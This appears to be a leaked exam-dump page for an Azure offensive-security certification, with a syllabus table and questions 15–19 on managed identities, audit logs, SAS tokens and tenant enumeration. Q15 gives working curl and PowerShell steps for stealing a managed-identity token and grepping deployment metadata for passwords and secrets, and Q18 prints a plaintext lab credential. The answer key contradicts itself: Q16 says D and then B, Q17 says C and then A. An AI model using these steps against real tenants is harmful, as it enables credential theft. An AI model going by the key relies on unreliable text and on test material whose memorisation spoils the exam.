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| Section | Weight | Objectives |
|---|---|---|
| Initial Access | 20% | - Token and session abuse - Exposed secrets and configuration flaws - Password spraying and credential stuffing - Consent phishing and application abuse |
| Reconnaissance & Enumeration | 20% | - DNS, endpoints, and exposed services mapping - Azure resource discovery - Entra ID (Azure AD) enumeration - Azure tenant and domain enumeration |
| Privilege Escalation | 25% | - Managed Identity exploitation - Entra ID role and permission abuse - Key Vault and secret management misconfigurations - Service Principal and App Registration attacks |
| Post-Exploitation & Persistence | 15% | - Data collection and exfiltration techniques - Defense evasion in Azure environment - Maintaining persistent access - Full attack chain demonstration |
| Lateral Movement & Tenant Compromise | 20% | - Hybrid identity and on-prem integration abuse - API and Azure management endpoint exploitation - Cross-resource and subscription hopping - Compute, storage, and network pivoting |
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NEW QUESTION # 15
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
sumit.siddharth@azuresecops.onmicrosoft.com
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
NEW QUESTION # 16
You are reviewing Azure Activity Logs after a lab compromise. Which operation indicates that an attacker reset another user's password through Microsoft Entra ID?
Answer: D
Explanation:
Detailed Solution:
In an Entra ID abuse path, a privileged user such as User Administrator may reset another user's password. In logs, this appears as a user update operation involving the password profile.
Check audit logs in the portal:
Microsoft Entra ID # Monitoring # Audit logs
Or query via Microsoft Graph/Azure tooling depending on permissions.
The activity to look for is generally:
Update user
Modified property: passwordProfile
The other options represent different activities:
Microsoft.Authorization/roleAssignments/write = RBAC role assignment change Microsoft.Storage/storageAccounts/listKeys/action = storage account key retrieval Microsoft.KeyVault/vaults/secrets/read = Key Vault secret read Correct answer:
B). Update user / password profile modification
NEW QUESTION # 17
You find a SAS token in a table entity. The token starts with:
?sv=2025-01-05 & ss=b & srt=sco & sp=rl & se=2026-08-01T00:00:00Z
Which permissions does sp=rl grant?
Answer: C
Explanation:
Detailed Solution:
In Azure Storage SAS tokens, sp means signed permissions.
For blob/container access:
r = read
l = list
w = write
d = delete
c = create
a = add
Given:
sp=rl
The permissions are:
Read + List
Correct answer:
A). Read and List
SAS tokens grant delegated access to Azure Storage resources and must be handled like secrets.
NEW QUESTION # 18
ExcaliburCorp has recently migrated part of its infrastructure to Microsoft Azure. Shortly after the migration, the company suffered a security breach resulting in the exposure of sensitive internal data. Their investigation revealed that the attack originated from a disgruntled developer who has since disappeared. To assess and mitigate further risks, ExcaliburCorp has granted you access to a replica Azure environment with the same permissions the developer had at the time of the incident. Your task is to simulate the attacker's actions, uncover the full extent of the compromise, and identify vulnerable configurations or services that enabled the breach.
Using the provided Azure login credentials, perform OSINT and reconnaissance to identify the Azure Active Directory/AAD Tenant ID associated with the environment.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Detailed Solution:
Log in using the supplied breached Azure account.
az login -u alex.johnson@azuresecops.onmicrosoft.com -p ' pg:Lr{k102l(fh7! ' After successful authentication, check the active Azure subscription context.
az account show
The important fields are:
{
" id " : " 7403ec86-c39d-4d80-9efa-35c7580ecefa " ,
" name " : " Azure subscription 1 " ,
" tenantDefaultDomain " : " azuresecops.onmicrosoft.com " ,
" tenantDisplayName " : " ExcaliburCorp " ,
" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b "
}
The AAD / Microsoft Entra tenant ID is the tenantId.
Final answer:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b
NEW QUESTION # 19
You have been given a breached Azure user credential for an authorized lab tenant:
james.ward@cloudcorpsec.onmicrosoft.com
After logging in, identify the Azure Tenant ID and Subscription ID associated with the account.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a
Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021
Detailed Solution:
Log in with the supplied account:
az login -u james.ward@cloudcorpsec.onmicrosoft.com -p ' < password > ' Show the active Azure context:
az account show --output json
Expected relevant output:
{
" id " : " 5d8e44ac-24a9-43d9-9cb5-71b227a58021 " ,
" name " : " CloudCorp Security Lab " ,
" tenantDefaultDomain " : " cloudcorpsec.onmicrosoft.com " ,
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a "
}
The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.
NEW QUESTION # 20
......
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